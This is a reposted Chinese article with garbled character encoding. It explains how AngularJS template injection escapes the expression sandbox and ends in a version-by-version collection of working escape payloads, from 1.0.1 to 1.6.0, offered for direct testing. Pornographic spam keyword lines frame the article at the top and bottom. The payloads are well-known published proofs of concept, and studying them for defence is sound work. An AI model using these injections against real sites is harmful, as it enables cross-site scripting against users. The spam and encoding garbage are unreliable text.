国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

AngularJs中用戶(hù)輸入動(dòng)態(tài)模板X(qián)SS攻擊的示例分析

發(fā)布時(shí)間:2021-07-27 11:48 來(lái)源:億速云 閱讀:0 作者:小新 欄目: web開(kāi)發(fā)

這篇文章主要介紹了AngularJs中用戶(hù)輸入動(dòng)態(tài)模板X(qián)SS攻擊的示例分析,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著(zhù)大家一起了解一下。

概述

XSS攻擊是Web攻擊中最常見(jiàn)的攻擊方法之一,它是通過(guò)對網(wǎng)頁(yè)注入可執行代碼且成功地被瀏覽器執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶(hù)的聯(lián)系人列表,然后向聯(lián)系人發(fā)送虛假詐騙信息,可以刪除用戶(hù)的日志等等,有時(shí)候還和其他攻擊方式同時(shí)實(shí)施比如SQL注入攻擊和數據庫、Click劫持、相對鏈接劫持等實(shí)施釣魚(yú),它帶來(lái)的危害是巨大的,是web安全的頭號大敵。

前情提要

angularJs通過(guò)“{{}}”來(lái)作為輸出的標志,而對于雙括號里面的內容angularJs會(huì )計計算并輸出結果,我們可以在里面輸入JS代碼,并且一些語(yǔ)句還能得到執行,這使得我們的XSS有了可能,雖然不能直接寫(xiě)函數表達式,但這并難不住我們的白帽。

沙箱檢驗

angularJs會(huì )對表達式進(jìn)行重寫(xiě),并過(guò)濾計算輸出,比如我們輸入

{{1 + 1}}

在JS中會(huì )被轉換成

"use strict";
var fn = function(s, l, a, i) {
 return plus(1, 1);
};
return fn;

return fn;這里的返回會(huì )被angualrJs執行,angularJs改寫(xiě)這個(gè)方法后轉換是這樣的

"use strict";
var fn = function(s, l, a, i) {
 var v0, v1, v2, v3, v4 = l && ('constructor' in l),
 v5;
 if (!(v4)) {
 if (s) {
 v3 = s.constructor;
 }
 } else {
 v3 = l.constructor;
 }
 ensureSafeObject(v3, text);
 if (v3 != null) {
 v2 = ensureSafeObject(v3.constructor, text);
 } else {
 v2 = undefined;
 }
 if (v2 != null) {
 ensureSafeFunction(v2, text);
 v5 = 'alert\u00281\u0029';
 ensureSafeObject(v3, text);
 v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
 } else {
 v1 = undefined;
 }
 if (v1 != null) {
 ensureSafeFunction(v1, text);
 v0 = ensureSafeObject(v1(), text);
 } else {
 v0 = undefined;
 }
 return v0;
};
return fn;

angularJs會(huì )檢查每一個(gè)輸入的參數,ensureSafeObject方法會(huì )檢驗出函數的構造方法,窗口對象,對象,或者對象的構造方法,任意的其中一項被檢查出來(lái),表達式都不會(huì )執行.angularJs還有ensureSafeMemeberName和ensureSafeFunction來(lái)過(guò)濾掉方法原型鏈方法和檢查這個(gè)指向。

如何逃逸

怎么樣能逃過(guò)模板的過(guò)濾呢,可以讓我們輸入的模板被角執行,因為angularJs不支持函數輸入,我們不可以直接覆蓋本地的JS函數。但在字符串對象中找到了漏洞,fromCharCode,則charCode, charAt,由于沒(méi)有重寫(xiě)這些方法,通過(guò)改變本地的js函數,我可以在angularJs調用這些方法的時(shí)候為自己開(kāi)一個(gè)后門(mén),將我改寫(xiě)的來(lái)覆蓋原來(lái)的函數。

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

formCharCode方法執行的時(shí)候內部的this指向的是String對象,通過(guò)上面的可指執行語(yǔ)句,我們可以對fromCharCode 函數進(jìn)行覆蓋,當在本頁(yè)面內執行時(shí),比如:

onload=function(){
document.write(String.fromCharCode(97));//會(huì )彈出 /Backdoored/ 
}

還可以這樣

'a'.constructor.prototype.charCodeAt=[].concat

當angularJs調用charCodeAt函數時(shí),我的代碼就被執行到angular源碼去了,比如說(shuō)在這段里面有encodeEntities 方法用來(lái)對屬性和名稱(chēng)做一個(gè)過(guò)濾然后輸出,

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities   
out('"');
}

具體的encodeEntities代碼如下:

function encodeEntities(value) {
return value.
 replace(/&/g, '&').
 replace(SURROGATE_PAIR_REGEXP, function(value) {
 var hi = value.charCodeAt(0);
 var low = value.charCodeAt(1);
 return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
 }).
 replace(NON_ALPHANUMERIC_REGEXP, function(value) {
 return '&#' + value.charCodeAt(0) + ';';//這里發(fā)生了不好事情,我改寫(xiě)了這個(gè)方法,可以植入一些惡意代碼,并且得到返回輸出  }).
replace(/</g, '<').
replace(/>/g, '>');
}

具體執行

//這是輸入代碼 
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=""')+''
}}

//這是被覆蓋影響的代碼  
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影響的
 if (!(v6)) {
  if (s) {
   v5 = s.x = "";//被影響的
  }
 } else {
  v5 = l.x = "";//被影響的
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影響的
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = "";//被影響的
  }
 } else {
  v2 = l.x = "";//被影響的
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = "", text);//被影響的
  v0 = v3.x = "" = v1;//被影響的
 }
 return v0;
};
return fn;
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=alert(1)')+'' //注入了alert(1) 
}}

"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
 if (!(v6)) {
  if (s) {
   v5 = s.x = alert(1);
  }
 } else {
  v5 = l.x = alert(1);
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = alert(1);
  }
 } else {
  v2 = l.x = alert(1);
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = alert(1), text);
  v0 = v3.x = alert(1) = v1;
 }
 return v0;
};
return fn;

下面附上一些代碼,可以直接結合angularJs驗證

不同版本的實(shí)現代碼以及發(fā)現者:

1.0.1 - 1.1.5    Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1     Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5    Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18    Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23    Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0    Gábor Molnár (Google)

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}

1.3.1 - 1.3.2    Gareth Heyes (PortSwigger)

{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;

'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

1.3.19   Gareth Heyes (PortSwigger)

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
$eval('x=alert(1)//'); 
}}

1.3.20    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8  Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11   Jan Horn (Google)

{{
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
 c.$apply=$apply;c.$eval=b;op=$root.$$phase;
 $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
 C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
 B=C(b,c,b);$evalAsync("
 astNode=pop();astNode.type='UnaryExpression';
 astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
 astNode.argument={type:'Identifier',name:'foo'};
 ");
 m1=B($$asyncQueue.pop().expression,null,$root);
 m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
 $eval('a(b.c)');[].push.apply=a;
}}

= 1.6.0 Mario Heiderich(Cure53)

{{constructor.constructor('alert(1)')()}}

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系站長(cháng)郵箱:ts@56dr.com進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

国产性天天综合网| 老鸭窝视频在线观看| 中文字幕在线无码一区二区三区| 国产极品美女高潮无套在线观看 | 亚洲色欲或者高潮影院| 精品国产黑色丝袜高跟鞋|